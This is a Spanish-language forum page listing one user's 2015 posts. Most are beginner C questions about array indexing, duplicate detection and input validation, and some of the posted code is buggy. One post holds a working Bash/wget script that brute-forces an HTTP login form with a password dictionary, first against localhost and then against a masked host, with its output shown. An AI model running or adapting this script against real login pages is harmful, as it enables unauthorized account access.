elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Curso de javascript por TickTack


  Mostrar Mensajes
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 [13] 14 15 16 17
121  Programación / Programación C/C++ / Re: [C] Arreglos de m*n enteros en: 2 Octubre 2015, 16:23 pm
El que llama a la función "ve" esto

10 10 10 // Ésto es una matriz
10 99 10
10 10 10

Sin embargo la función sólo conoce ésto

10 10 10 10 99 10 10 10  //Ésto es un array unidimensional

Tienes que hacer algo para que a partir de la fila y la columna, la función pueda obtener el indice equivalente para el array.

Es decir si llamas a la función así:

Código
  1. pos(array, 1, 1) ;

la función debe transformar ese (1,1) que son las coordenadas del elemento en la matriz a un 4 y entonces hacer

Código
  1. return array[4];

Que en este caso sería el 99.

Si no sabes como rellenar un array quizá este problema te venga grande...
Haz un for de N iteraciones donde en cada una pida, genere (o lo que quieras)... un número y lo vaya asignando a posiciones consecutivas del array. Pero hazlo tras declarar el array y no antes.


Todavía no la saco, me parece que lo estoy pensando mal porque se me está complicando demasiado.

Código
  1. /*
  2. Dado un arreglo de m*n enteros, escribir una función pos que tome una fila y una columna, y devuelva el entero correspondiente a esa posición, es decir interpreté el arreglo unidimensional como una matriz.
  3. */
  4.  
  5. #include <stdio.h>
  6. /*
  7. int pos (int a[], int fila, int columna){
  8. // pos(a,1,1)
  9.  
  10. // 10 11
  11. // 12 13
  12.  
  13. //array(1,2)=a[3*n+(columna-1)]=a[3*1+1]=a[4]
  14.  
  15.  
  16. // pos(a,2,2) = a[4]
  17.  
  18. // 10 11 12 13
  19.  
  20. a[4];
  21.  
  22.  
  23.  
  24. }
  25. */
  26.  
  27. int main (void){
  28. int n,m,l=0; // arrays
  29. int i,j;
  30. int fila,columna;
  31. int z=10;
  32.  
  33. printf ("Introduce el numero de filas: ");
  34. scanf ("%d",&n);
  35. printf ("Introduce el numero de columnas: ");
  36. scanf ("%d",&m);
  37.  
  38. /// N=n*m;
  39.  
  40. int array[n][m];
  41. int array_u[l]; // array unidimensional.
  42.  
  43. for (i=0;i<n; i++){
  44. for (j=0; j<m; j++){
  45. array[i][j]=z++;
  46. }
  47. }
  48.  
  49. printf ("Imprimiendo elementos array ...\n");
  50.  
  51. for (i=0; i<n; i++){
  52. for (j=0; j<m; j++){
  53. printf ( "%d ",array[i][j]);
  54. }
  55. printf ("\n");
  56.  
  57. }
  58.  
  59. printf ("Ingresa el numero de fila y columna: \n");
  60. scanf ("%d %d",&fila,&columna);
  61.  
  62. for (i=0; i<n; i++){
  63. for (j=0; j<m; j++){
  64. array_u[l]=array[i][j];
  65. l++;
  66. }
  67. }
  68. printf ("\n");
  69. for (l=0; l<n*m; l++)printf ("%d ",array_u[l]); // Esto es lo que le paso a la función.
  70.  
  71. //pos(array_u,fila,columna);
  72.  
  73.  
  74.  
  75. return 0;
  76. }
122  Programación / Scripting / [Bash-wget] Ataque de fuerza bruta HTTP en: 2 Octubre 2015, 02:10 am
Vale aclarar que esto solo lo hago para aprender más y, divertirme un poco.
No para hacer nada malo.

Código
  1. echo "Bruteforce attack!";
  2. USUARIO=$1
  3. DICCIONARIO=$2
  4. LINEAS=`cat $DICCIONARIO | wc -l`
  5. echo -e "User: $USUARIO\nReading: $DICCIONARIO"
  6. i=0;
  7.  
  8.  
  9. while read pass; do
  10.                        i=$(($i+1));
  11. # echo -n "[*] $pass: ";
  12. if [[ "`wget --wait=30 --user-agent=Mozilla/5.0 --save-cookies cookies.txt -qO- --post-data \"nombre_equipo=$USUARIO&pass=$pass\" http://127.0.0.1/php/login.php`" =~ "no coinciden" ]];
  13. then
  14. echo -ne "[*] $i de $(($LINEAS-1)) \r";
  15. else
  16. echo "Found  $pass"; exit;
  17.  
  18. fi
  19. done < $DICCIONARIO
  20.  
  21.  

Salida:

Código
  1. sh brute.sh juan numeros.txt
  2. Bruteforce attack!
  3. User: profe
  4. Reading: numeros.txt
  5. [*] 7 de 293
  6.  





El problema que tengo con esto es que a veces me tira "Falsos positivos" y es por el wget es como que le "apuro" no recibe el paquete o algo,

¿Cómo podría solucionar esto?

Versión mejorada:

Código
  1. echo "Bruteforce attack!";
  2. USUARIO=$1
  3. DICCIONARIO=$2
  4. LINEAS=`cat $DICCIONARIO | wc -l`
  5. echo -e "User: $USUARIO\nReading: $DICCIONARIO"
  6. i=0;
  7.  
  8.  
  9. while read pass; do
  10.    i=$(($i+1));
  11.    #echo -n "[*] $pass: ";
  12.    if [[ "`wget --wait=30 --user-agent=Mozilla/5.0 --save-cookies cookies.txt -qO- --post-data \"nombre_equipo=$USUARIO&pass=$pass\" http://***.***/php/login.php`" =~ "no coinciden" ]];
  13.    then
  14. echo -ne "[*] $i de $(($LINEAS)) \r";
  15.    else
  16. echo "(False positive?) Found $pass";
  17.  
  18.    fi
  19. done < $DICCIONARIO
  20.  


Gracias, Saludos!
123  Programación / Programación C/C++ / Re: [C] Arreglos de m*n enteros en: 2 Octubre 2015, 00:08 am
Código
  1. /*
  2. Dado un arreglo de m*n enteros, escribir una función pos que tome una fila y una columna, y devuelva el entero correspondiente a esa posición, es decir interpreté el arreglo unidimensional como una matriz.
  3. */
  4. #include <stdio.h>
  5.  
  6. int pos(char a[], int x, int y){
  7.  
  8. printf ("Elemento correspodiente a la fila %d y columna %d: %d\n",x,y,a[x][y]);
  9. return a[x][y];
  10. }
  11.  
  12.  
  13. int main (void){
  14.  
  15. int n,m;
  16. int N;
  17.  
  18. printf ("Introduzca las n filas: ");
  19. scanf ("%d",&n);
  20. printf ("Introduzca las m columnas: ");
  21. scanf ("%d",&m);
  22.  
  23. N=n*m;
  24.  
  25.        // ¿Cómo lo lleno con bucles?
  26. //for
  27.  
  28. int a[N];
  29.  
  30.        /*
  31.         ..........
  32.         */
  33.  
  34. pos(a, 3,6);
  35.  
  36.  
  37.  
  38. return 0;
  39. }
  40.  

Sigo sin entenderlo del todo...
124  Programación / Programación C/C++ / Re: [C] Arreglos de m*n enteros en: 1 Octubre 2015, 23:48 pm
Bueno, pero cómo hago para pasarle una fila y una columna, además a qué se refiere con interpreté el arreglo unidimensional como una matriz.

O sea yo le paso una fila y una columna y el me debería devolver una matriz de eso, no realmente no lo entiendo.
125  Programación / Programación C/C++ / [C] Arreglos de m*n enteros en: 1 Octubre 2015, 23:35 pm
Dado un arreglo de m*n enteros, escribir una función pos que tome una fila y una columna, y devuelva el entero correspondiente a esa posición, es decir interpreté el arreglo unidimensional como una matriz.

¿Cómo hago esto?


Ni siquiera se me ocurre como empezar,
¿un arreglo de m*n enteros? ¿a qué se refiere con eso?

int a[m][n]; ?

Y cómo es eso que tome unafila y una columna, realmente estoy perdido.

Saludos!
126  Programación / Programación C/C++ / Re: [C] ¿Debería usar un puntero? en: 22 Septiembre 2015, 07:21 am
Listo, perfecto!

Una duda más, si yo hago un
Código
  1. printf ("Ingrese 3 numeros: \n");
  2. scanf ("%d %d %d",&a,&b,&c);

¿Cómo hago para verificar si el usuario no introdujo ningún número?
Es decir si yo ejecuto la aplicación y sin introducir ningún número la termino Ctrl-C, me tira un número random y eso es porque no está definida.

¿Cómo puedo verificar si a b y c son nulos digamos?
127  Programación / Programación C/C++ / Re: [C] ¿Debería usar un puntero? en: 22 Septiembre 2015, 02:12 am
¿Cómo? no termino de entenderlo, te puedes explicar un poco más.
128  Programación / Programación C/C++ / Re: [C] ¿Debería usar un puntero? en: 22 Septiembre 2015, 01:36 am
Si cierto, pero a qué se refiere con "luego devolver la posición del primer entero duplicado"
no lo entiendo.

Código
  1. printf ("%d",a[0]*2)

???
129  Programación / Programación C/C++ / [C] ¿Debería usar un puntero? en: 22 Septiembre 2015, 00:52 am
Escribir un programa que lea un entero n y luego solicite al usuario el ingreso de n enteros, luego devolver la posición del primer entero duplicado.


¿Debería usar un puntero de ser así, como lo declararía usando malloc?
130  Sistemas Operativos / GNU/Linux / Re: Juegos en linux: Si es posible!!! en: 22 Septiembre 2015, 00:12 am

Y la PS3 y PS4 que SO usan ?
Algo basado en el kernel de Linux/Unix ?
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 [13] 14 15 16 17
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines